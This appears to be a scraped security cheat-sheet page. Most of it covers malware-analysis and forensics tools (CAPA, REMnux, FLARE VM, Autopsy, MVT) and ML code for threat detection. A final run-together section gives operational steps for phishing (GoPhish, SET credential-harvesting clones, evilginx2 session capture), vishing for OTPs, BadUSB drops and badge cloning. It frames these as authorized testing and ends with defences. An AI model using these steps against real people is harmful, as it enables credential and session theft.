CAPA — Malware Capability Detection
Identifies capabilities in binaries. FLARE team (Mandiant). github.com/mandiant/capa
Install & use CAPA
tf
▾CAPA maps PE binary behaviors to ATT&CK techniques (T1059=Command Exec, T1082=System Discovery). Use in first-pass triage before dynamic analysis.
pip3 install flare-capa
capa --version
# Analyze PE binary
capa malware_sample.exe
# JSON output
capa malware.exe -j > ~/forensics/capa_report.json
# Custom rules
capa malware.exe -r /path/to/capa-rules/
# Verbose (show matching features)
capa malware.exe -v
# Very verbose debug
capa malware.exe -vv
# Update rules
capa --update-rules
# Colored output piped through less
capa malware.exe --color always | less -R
# Analyze ELF (Linux)
capa linux_malware.elf
# Analyze shellcode
capa shellcode.bin -f sc32 # 32-bit shellcode
capa shellcode.bin -f sc64 # 64-bit shellcode💡 WORKFLOWRun CAPA first for static capability analysis → then PEStudio for PE headers → then x64dbg/radare2 for dynamic analysis.
🐧
REMnux — Linux Malware Analysis Toolkit
Linux distro & toolkit for malware analysis. docs.remnux.org
Installation (Kali/Debian)
Add REMnux toolkit to Kali
ti2
▾# Add REMnux toolkit to existing Debian/Ubuntu/Kali
wget https://remnux.org/remnux-cli
sudo mv remnux-cli /usr/local/bin/remnux
sudo chmod +x /usr/local/bin/remnux
sudo remnux install
# Individual tools via apt
sudo apt install -y binutils exiftool file foremost volatility3 \
yara pdfid pdf-parser oletools strings radare2 binwalk strace ltraceStatic Analysis
Static file & PE analysis
tf
▾# File type detection
file malware.exe
file -b --mime-type malware.exe
# Strings extraction
strings malware.exe | less
strings -a malware.exe # all sections
strings -n 8 malware.exe # min 8 chars
strings malware.exe | grep -iE "http|ftp|cmd|powershell|base64|\\\\[A-Z]"
# Hex dump
xxd malware.exe | head -50
hexdump -C malware.exe | head -50
# Binary analysis
readelf -h malware.elf # ELF header
objdump -d malware.exe # disassemble
objdump -x malware.exe # all headers
nm malware.exe # symbol table
# PDF analysis
pdfid.py malware.pdf # structure overview
pdf-parser.py malware.pdf
pdf-parser.py --search uri malware.pdf # find URLs
pdf-parser.py --stats malware.pdf
# Metadata
exiftool malware.pdf
exiftool malware.exe
# PE sections analysis
readpe malware.exe
pecheck malware.exe # requires pefile
# Binwalk (embedded files)
binwalk malware.bin
binwalk -e malware.bin # extractOffice docs, scripts, deobfuscation & memory
tf
▾# Office document macro analysis
olevba malicious.docm # extract VBA macros
oledump.py malicious.doc # OLE stream analysis
mraptor malicious.xlsm # detect macro runners
rtfobj malicious.rtf # RTF embedded objects
msodde malicious.docx # DDE detection
# JavaScript deobfuscation
js-beautify obfuscated.js > clean.js
# Python decompile
uncompyle6 malware.pyc > malware_decompiled.py
# Network simulation (for dynamic analysis — isolated env)
fakenet-ng # intercept C2 traffic
inetsim # simulate internet
# YARA rules
yara rules.yar malware.exe
yara -r ~/yara-rules/ suspicious_dir/
# Volatility 3 memory forensics
vol -f memory.dmp windows.pslist.PsList # process list
vol -f memory.dmp windows.cmdline.CmdLine # command lines
vol -f memory.dmp windows.netscan.NetScan # network connections
vol -f memory.dmp windows.malfind.Malfind # injected code
vol -f memory.dmp windows.hashdump.Hashdump # NTLM hashes
vol -f memory.dmp windows.dlllist.DllList # loaded DLLs
vol -f memory.dmp windows.handles.Handles # open handles
# Radare2 — reverse engineering
r2 malware.exe
r2 -d malware.exe # debug mode
# Inside r2: aaa (analyze all), pdf @main (print main), afl (function list)💾
Autopsy — Digital Forensics Platform
GUI forensics built on The Sleuth Kit. www.sleuthkit.org/autopsy/docs.php
Install & forensic workflow
tf
▾sudo apt update && sudo apt install -y autopsy sleuthkit dcfldd
autopsy & # web UI at http://localhost:9999/autopsy
# ALWAYS work on forensic COPIES — never the original evidence
# Create forensic disk image
sudo dd if=/dev/sdb of=~/forensics/disk_image.dd \
bs=4096 conv=noerror,sync status=progress
# Compressed
sudo dd if=/dev/sdb | gzip > ~/forensics/disk.dd.gz
# dcfldd — with SHA-256 hash verification
sudo dcfldd if=/dev/sdb of=disk.dd hash=sha256 hashlog=disk.sha256
# Verify image integrity
sha256sum disk.dd
md5sum disk.dd
### Sleuth Kit CLI tools
fsstat disk.dd # file system stats
fls -r disk.dd # all files (including deleted)
fls -r -d disk.dd # deleted files only
icat disk.dd 12345 # extract file by inode
mmls disk.dd # partition table
blkcat disk.dd 100 # display block content
blkls disk.dd > unallocated.dd # unallocated space
tsk_gettimes disk.dd > timeline.txt # file timeline
### Autopsy GUI Workflow
# 1. New Case → case name + examiner info
# 2. Add Data Source → select .dd image
# 3. Ingest Modules: Hash Lookup, Keyword Search, Web Artifacts, Email
# 4. Analyze: Timeline, Keyword Search, File Types, Deleted Files🔥
FLARE VM — Windows Malware Analysis
Windows malware analysis distro by Mandiant. github.com/mandiant/flare-vm
FLARE VM setup & key tools
tf
▾Installs on Windows 10/11 VM only. Uses Chocolatey to deploy 100+ tools. Requires isolated VM with snapshots.
# PowerShell as Administrator (Windows VM)
(New-Object net.webclient).DownloadFile(
"https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1",
"$([Environment]::GetFolderPath("Desktop"))\install.ps1"
)
Unblock-File install.ps1
powershell -ExecutionPolicy Unrestricted -File install.ps1
### Key tools installed:
# x64dbg / x32dbg — dynamic debugger
# Ghidra — NSA reverse engineering framework
# IDA Free — industry-standard disassembler
# dnSpy — .NET decompiler & debugger
# PEStudio — PE static analysis
# Process Monitor — process/registry/network activity
# Process Hacker — advanced process viewer
# Wireshark — traffic capture
# Fakenet-NG — network simulation
# CAPA — capability detection
# CFF Explorer — PE header editor
# HxD — hex editor
# OllyDbg — legacy x86 debugger
# Sysinternals Suite — full Microsoft toolkit
### Analysis Workflow
# 1. Restore clean snapshot
# 2. Copy sample to VM
# 3. Static: PEStudio → CAPA → strings → CFF Explorer
# 4. Dynamic: ProcMon → x64dbg → Fakenet-NG → Wireshark⚠ ISOLATION REQUIREDAlways use an isolated, snapshot-enabled VM with no network access to host. Never run malware on a production machine.
📱
MVT — Mobile Verification Toolkit
Detect spyware on iOS & Android. By Amnesty International. docs.mvt.re
Install MVT & analyze devices
tf
▾MVT detects indicators of compromise from known spyware (Pegasus, Predator, Triangulation). Analyzes iOS backups and Android via ADB.
# Install (Kali/Debian)
sudo apt install -y python3-pip libusb-1.0-0-dev libssl-dev adb
pip3 install mvt
mvt-ios --help
mvt-android --help
# Update IOC indicators from Amnesty
wget https://raw.githubusercontent.com/AmnestyTech/investigations/master/\
2021-07-18_nso/pegasus.stix2 -O ~/mvt/pegasus.stix2
### iOS Analysis
# 1. Create iTunes/Finder backup on macOS/Windows
# 2. Copy backup to Kali
# Decrypt encrypted backup
mvt-ios decrypt-backup \
-p BACKUP_PASSWORD \
-d ~/mvt/decrypted/ \
~/ios_backup/
# Check backup for IOCs
mvt-ios check-backup \
--iocs ~/mvt/pegasus.stix2 \
--output ~/mvt/ios_results/ \
~/ios_backup/
# GrayKey / Cellebrite filesystem extraction check
mvt-ios check-fs \
--iocs ~/mvt/pegasus.stix2 \
--output ~/mvt/ios_fs_results/ \
/path/to/fs/
### Android Analysis (requires USB debugging)
adb devices # list connected devices
# Download all APKs from device
mvt-android download-apks --output ~/mvt/android_apks/
# Check APKs for indicators
mvt-android check-apks \
--iocs ~/mvt/pegasus.stix2 \
~/mvt/android_apks/
# Full ADB check (logcat, SMS, network history)
mvt-android check-adb --output ~/mvt/android_results/🧠
AI / ML / NLP Security Tools
Installation (Kali/Debian)
Install all AI/ML libraries
tpy
▾sudo apt update && sudo apt install -y python3 python3-pip python3-venv
python3 -m venv ~/ml-env && source ~/ml-env/bin/activate
# Install all at once
pip3 install spacy scikit-learn textblob transformers \
networkx torch torchvision pandas numpy matplotlib \
seaborn jupyter requests beautifulsoup4 datasets \
accelerate sentence-transformers
# spaCy language models
python3 -m spacy download en_core_web_sm
python3 -m spacy download en_core_web_lg
# TextBlob corpora
python3 -m textblob.download_corporaspaCy — NLP for Security
spaCy — threat intel & IOC extraction
tpy
▾Use spaCy to extract named entities (IPs, domains, CVEs, organizations, persons) from threat reports, OSINT data, and security alerts at scale.
import spacy, re
nlp = spacy.load("en_core_web_lg")
# Extract entities from threat intel report
text = open("threat_report.txt").read()
doc = nlp(text)
for ent in doc.ents:
print(f"{ent.label_:12} {ent.text}")
# Custom IOC extractor (IPs, CVEs, domains, hashes)
def extract_iocs(text):
return {
"ips": re.findall(r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", text),
"cves": re.findall(r"CVE-\d{4}-\d+", text, re.I),
"domains": re.findall(r"\b[a-z0-9-]+\.[a-z]{2,}\.?\b", text.lower()),
"md5": re.findall(r"\b[a-f0-9]{32}\b", text, re.I),
"sha256": re.findall(r"\b[a-f0-9]{64}\b", text, re.I),
"emails": re.findall(r"[\w.-]+@[\w.-]+\.\w+", text),
}
iocs = extract_iocs(text)
print(iocs)
# Sentence similarity for threat clustering
from sentence_transformers import SentenceTransformer, util
model = SentenceTransformer("all-MiniLM-L6-v2")
reports = ["Ransomware encrypted files using AES-256",
"File encryption via AES algorithm detected",
"SQL injection in login form parameter"]
embeddings = model.encode(reports)
similarity = util.cos_sim(embeddings, embeddings)
print(similarity)scikit-learn — Anomaly & Threat Detection
ML for threat detection & classification
tpy
▾Use for: network anomaly detection, phishing URL classification, malware clustering, log anomaly detection, intrusion detection.
from sklearn.ensemble import IsolationForest, RandomForestClassifier
from sklearn.preprocessing import StandardScaler
from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report
import pandas as pd, numpy as np
### Network Anomaly Detection
df = pd.read_csv("network_logs.csv")
features = ["bytes_in","bytes_out","duration","port","packets"]
X = df[features]
scaler = StandardScaler()
X_scaled = scaler.fit_transform(X)
# IsolationForest for unsupervised anomaly detection
iso = IsolationForest(contamination=0.05, random_state=42)
df["anomaly"] = iso.fit_predict(X_scaled)
anomalies = df[df["anomaly"] == -1]
print(f"Anomalous connections: {len(anomalies)}")
### Phishing URL Classifier
from sklearn.feature_extraction.text import TfidfVectorizer
urls = pd.read_csv("urls_labeled.csv") # cols: url, label
vec = TfidfVectorizer(analyzer="char", ngram_range=(2,4))
X = vec.fit_transform(urls["url"])
y = urls["label"]
X_tr, X_te, y_tr, y_te = train_test_split(X, y, test_size=0.2)
clf = RandomForestClassifier(n_estimators=100)
clf.fit(X_tr, y_tr)
print(classification_report(y_te, clf.predict(X_te)))
### Malware Family Clustering
from sklearn.cluster import KMeans
from sklearn.decomposition import PCA
features_matrix = np.load("malware_features.npy") # API call sequences
pca = PCA(n_components=50)
X_pca = pca.fit_transform(features_matrix)
kmeans = KMeans(n_clusters=10, random_state=42)
labels = kmeans.fit_predict(X_pca)
print(f"Malware families found: {len(set(labels))}")TextBlob — Quick NLP
TextBlob — sentiment & text analysis
tpy
▾from textblob import TextBlob
# Analyze threat intel text
report = TextBlob("The APT group exploited a critical vulnerability...")
print(report.sentiment) # Sentiment(polarity, subjectivity)
print(report.noun_phrases) # key noun phrases
print(report.words) # tokenized words
# Classify phishing vs legitimate emails
emails = [
"Urgent: click here to reset your password NOW",
"Meeting scheduled for Tuesday at 3pm",
"Your account has been compromised click immediately",
"Monthly newsletter from your IT department",
]
for e in emails:
b = TextBlob(e)
print(f"Polarity:{b.sentiment.polarity:.2f} Subj:{b.sentiment.subjectivity:.2f} | {e[:50]}")
# Language detection
text = TextBlob("Ваш аккаунт взломан")
print(text.detect_language()) # "ru"
# Spell correction (useful for log analysis)
misspelled = TextBlob("attackr accessed the databse")
print(misspelled.correct())Transformers (Hugging Face)
Transformers — LLM for threat classification
tpy
▾Use pre-trained BERT/RoBERTa/GPT models for malware family classification, phishing detection, threat intel summarization, IOC extraction.
from transformers import pipeline
# Zero-shot threat category classification
classifier = pipeline("zero-shot-classification",
model="facebook/bart-large-mnli")
threat = "The malware uses DNS tunneling to exfiltrate sensitive data"
labels = ["ransomware","trojan","spyware","botnet","rootkit","adware"]
result = classifier(threat, candidate_labels=labels)
print(result["labels"][0], f"{result["scores"][0]:.2%}")
# NER for IOC extraction
ner = pipeline("token-classification",
model="Jean-Baptiste/roberta-large-ner-english",
aggregation_strategy="simple")
text = "Attackers used 192.168.1.100 and exploited CVE-2021-44228 on Apache"
for e in ner(text):
print(f"{e["entity_group"]:10} {e["word"]}")
# Summarize long threat reports
summarizer = pipeline("summarization", model="facebook/bart-large-cnn")
long_report = open("apt_report.txt").read()
summary = summarizer(long_report, max_length=150, min_length=50)
print(summary[0]["summary_text"])
# Phishing email classifier (fine-tuned)
phishing = pipeline("text-classification",
model="cybersectony/phishing-email-detection-distilbert_v2.4.1")
emails = ["Urgent: verify your account", "Your invoice is attached"]
for e in emails:
result = phishing(e)[0]
print(f"{result["label"]:12} {result["score"]:.2%} | {e}")
# Sentence similarity for duplicate alert deduplication
from sentence_transformers import SentenceTransformer, util
model = SentenceTransformer("all-MiniLM-L6-v2")
alerts = ["Brute force on SSH port 22", "Multiple failed SSH logins detected",
"SQL injection attempt in login form"]
embeddings = model.encode(alerts, convert_to_tensor=True)
scores = util.cos_sim(embeddings, embeddings)
print(scores)NetworkX — Attack Graph Analysis
NetworkX — network & attack path analysis
tpy
▾Model network topology from scan data, find attack paths, detect lateral movement patterns, visualize attacker TTPs.
import networkx as nx, matplotlib.pyplot as plt
# Build network graph from scan data
G = nx.DiGraph()
connections = [
("attacker", "dmz_server", {"port": 80, "service": "HTTP"}),
("dmz_server", "app_server", {"port": 8080, "service": "Tomcat"}),
("app_server", "db_server", {"port": 3306, "service": "MySQL"}),
("dmz_server", "ldap_server", {"port": 389, "service": "LDAP"}),
("app_server", "ldap_server", {"port": 389, "service": "LDAP"}),
]
G.add_edges_from((u, v, d) for u, v, d in connections)
# All attack paths from attacker to database
paths = list(nx.all_simple_paths(G, "attacker", "db_server"))
print(f"Attack paths to DB: {len(paths)}")
for p in paths:
print(" " + " -> ".join(p))
# Shortest attack path
shortest = nx.shortest_path(G, "attacker", "db_server")
print(f"Shortest path: {" -> ".join(shortest)}")
# High-centrality nodes (critical choke points)
centrality = nx.betweenness_centrality(G)
for node, score in sorted(centrality.items(), key=lambda x: -x[1])[:5]:
print(f"{node:20} centrality={score:.3f}")
# Identify nodes reachable from attacker (blast radius)
reachable = nx.descendants(G, "attacker")
print(f"Reachable nodes: {reachable}")
# Visualize attack graph
pos = nx.spring_layout(G, seed=42)
nx.draw(G, pos, with_labels=True, node_color="lightcoral",
node_size=2000, arrows=True, font_size=8)
plt.title("Network Attack Graph")
plt.savefig("~/attack_graph.png", dpi=150, bbox_inches="tight")
plt.show()
Phase 1 OSINT & footprinting -> Recon layer (emails, roles, tech, suppliers) Phase 2 Pretext development -> Psych layer (scenario, persona, props) Phase 3 Planning & RoE sign-off -> Operational (scope, targets, safewords) Phase 4 Execution -> Delivery (digital / voice / physical) Phase 5 Reporting & remediation -> Defense layer (metrics, root cause, training)T1566 Phishing (.001 attachment / .002 link / .003 via service) T1598 Phishing for information (vishing / pretext for data) T1656 Impersonation T1204 User execution (victim opens payload / clicks link) T1200 Hardware additions | T1091 Replication via removable media (USB drop) T1078 Valid accounts (post-credential / session theft)# Names + emails for the target domain theHarvester -d target.com -b all -f ~/osint/se_target # Email pattern discovery (hunter.io API) curl "https://api.hunter.io/v2/domain-search?domain=target.com&api_key=API_KEY" # Breach / credential exposure of a specific person h8mail -t jane.doe@target.com # Infrastructure + employees graph spiderfoot -s target.com -m sfp_dns,sfp_whois,sfp_hunter,sfp_names # Tech stack & vendors (for IT / vendor impersonation pretexts) # company About / careers pages, job posts (reveal tooling), # LinkedIn roles, press releases, support-portal branding# Grab the latest release binary (self-contained) wget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-64bit.zip unzip gophish-linux-64bit.zip -d ~/tools/gophish && cd ~/tools/gophish chmod +x gophish # Edit config.json BEFORE first run: # admin_server.listen_url : 127.0.0.1:3333 (keep the UI local) # phish_server.listen_url : 0.0.0.0:80 (where victims land) ./gophish # first-run admin password is printed to the console # Admin UI: https://127.0.0.1:3333 # Workflow: Sending Profile (SMTP) -> Landing Page (clone login) -> # Email Template ({{.URL}} {{.FirstName}}) -> Users & Groups -> Campaign # Results tab: open / click / submitted-data rates per usersudo setoolkit # Menu path for a credential-harvesting clone (lab/authorized): # 1) Social-Engineering Attacks # 2) Website Attack Vectors # 3) Credential Harvester Attack Method # 2) Site Cloner # -> set POST-back IP (your listener), enter URL to clone # Captured creds are written to the SET report / console # Other vectors in the same menu: # Spear-Phishing Attack Vectors (payload + mailer) # Infectious Media Generator (USB / CD autorun payload) # QRCode Generator (malicious-link QR for posters/badges)git clone https://github.com/kgretzky/evilginx2 ~/tools/evilginx2 cd ~/tools/evilginx2 && make sudo ./build/evilginx -p ./phishlets # inside the evilginx console: config domain phish.example-authorized.com config ipv4 external YOUR_IP phishlets hostname o365 login.phish.example-authorized.com phishlets enable o365 lures create o365 lures get-url 0 # the link you send to the in-scope target # captured sessions: sessions / sessions 1 # (Modlishka and Muraena are similar reverse-proxy alternatives)# Zphisher — menu-driven templated phishing pages (lab / demo) git clone https://github.com/htr-tech/zphisher ~/tools/zphisher cd ~/tools/zphisher && bash zphisher.sh # pick a template -> pick a tunnel (localhost / cloudflared) -> share link in scope # King Phisher — full campaign server + GUI client # https://github.com/rsmusllp/king-phisher # NOTE: repo is largely unmaintained/archived — verify before production use; # GoPhish is the better-supported choice for real engagements.# Vishing flow (authorized): # 1. Pretext: IT help-desk / bank fraud-team / vendor (built from OSINT dossier) # 2. Lever: urgency + authority ("suspicious login, confirm the code we sent") # 3. Goal: OTP read-out, credential reset, or "approve the push" # Lab PBX for simulations: Asterisk / FreePBX + a legitimate SIP trunk # Smishing flow (authorized): # Link-bait SMS -> cloned landing page (GoPhish/SET) -> capture # SET has an SMS spoofing menu; use only against consenting test numbers# Vectors tailgating / piggybacking follow staff through a badged door impersonation IT, facilities, courier, vendor, auditor pretext call to reception pre-seed the visit ("vendor arriving at 2pm") baiting labelled USB drops in lot / lobby / restroom dumpster diving discarded docs, labels, org info shoulder surfing creds / screens in cafes, open-plan floors # USB-drop payloads (authorized only) Flipper Zero / USB Rubber Ducky BadUSB keystroke-injection ("Ducky Script") # Badge / RFID cloning (authorized only) Proxmark3: lf search # identify 125 kHz prox cards hf search # identify 13.56 MHz (MIFARE etc.) lf hid clone ... # clone LF badge to a writable card # Kit: authorization letter, fake badge, hi-vis vest, clipboard, lanyard, # lock-pick set (only where legal + in scope)# Email authentication — stop spoofing at the gateway dig TXT target.com +short | grep -i spf # SPF present + not +all dig TXT _dmarc.target.com +short # want p=reject (or quarantine) dig TXT selector._domainkey.target.com +short # DKIM selector published # Enforce DMARC p=reject, add BIMI; URL-rewrite + attachment detonation at gateway # Human layer # recurring phishing simulations (GoPhish) + role-based awareness training # one-click "Report Phishing" button -> measure report rate & time-to-report # Identity layer # phishing-resistant MFA (FIDO2 / WebAuthn) — defeats AiTM/Evilginx # conditional access, number-matching for push, block legacy auth # Process layer # out-of-band call-back verification for payment / credential / OTP changes # least privilege, visitor + badge-in policy, clean-desk, shredding # defined incident path for suspected SE (who to tell, how fast)